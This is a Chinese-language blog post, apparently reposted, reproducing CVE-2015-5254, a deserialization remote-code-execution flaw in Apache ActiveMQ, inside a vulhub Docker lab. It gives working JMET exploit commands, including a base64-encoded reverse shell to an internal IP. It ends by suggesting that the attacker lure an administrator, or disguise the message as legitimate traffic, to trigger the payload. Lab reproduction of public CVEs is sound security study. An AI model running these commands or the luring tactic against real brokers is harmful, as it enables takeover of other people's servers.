自学内容网 自学内容网

【漏洞复现】CVE-2015-5254 Java Object Injection (with Known Gadgets)

漏洞信息

NVD - cve-2015-5254

Apache ActiveMQ 5.x before 5.13.0 does not restrict the classes that can be serialized in the broker, which allows remote attackers to execute arbitrary code via a crafted serialized Java Message Service (JMS) ObjectMessage object.

背景介绍

Apache ActiveMQ is an open source messaging middleware developed by the American Pachitea (Apache) Software Foundation that supports Java messaging services, clustering, Spring framework, and more.

主页:https://github.com/vulhub/vulhub/tree/master/activemq

源码:https://github.com/apache/activemq

环境搭建

docker-compose.yaml

version: '2'
services:
 activemq:
   image: vulhub/activemq:5.11.1
   ports:
    - "61616:61616"
    - "8161:8161"

启动容器:

$ docker-compose up -d

61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

访问http://127.0.0.1:8161/admin/即可看到web管理页面(账号密码都是admin)

漏洞复现

参考:https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.md

漏洞利用需要用到JMET: Java Message Exploitation Tool,由于它的依赖库比较麻烦,所以直接拿jar包来用(Tips:Java版本不能太高,否则会出问题):

$ mkdir attack
$ cd attack
$ wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar --no-check-certificate
$ mkdir external

以运行touch /tmp/success为例,执行如下命令:

$ java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 127.0.0.1 61616
  • -Q:列队消息名
  • -I:选择装载的JMS客户端
  • -s:选择ysoserial payload
  • -Y:执行具体命令
  • -Yp:指定payload类型,后面跟ActiveMQ所在机器的ip以及工作端口

在这里插入图片描述

消息队列更新:

在这里插入图片描述

点击查看这个event,就会触发恶意命令执行:

在这里插入图片描述

利用这个方法也可以反弹shell,先把shell命令进行base64编码:

# Command Before Encoding
sh -i >& /dev/tcp/172.18.0.1/23396 0>&1
# Command After Encoding
c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE4LjAuMS8yMzM5NiAwPiYx

Payload是通过管道符连接来解密并最后运行的:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE4LjAuMS8yMzM5NiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 127.0.0.1 61616

在这里插入图片描述

不过实际上并没有严格的字符过滤,直接使用初始命令也可以的:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sh -i >& /dev/tcp/172.18.0.1/23396 0>&1" -Yp ROME 127.0.0.1 61616

在这里插入图片描述

值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。


原文地址:https://blog.csdn.net/Mitchell_Donovan/article/details/144736779

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!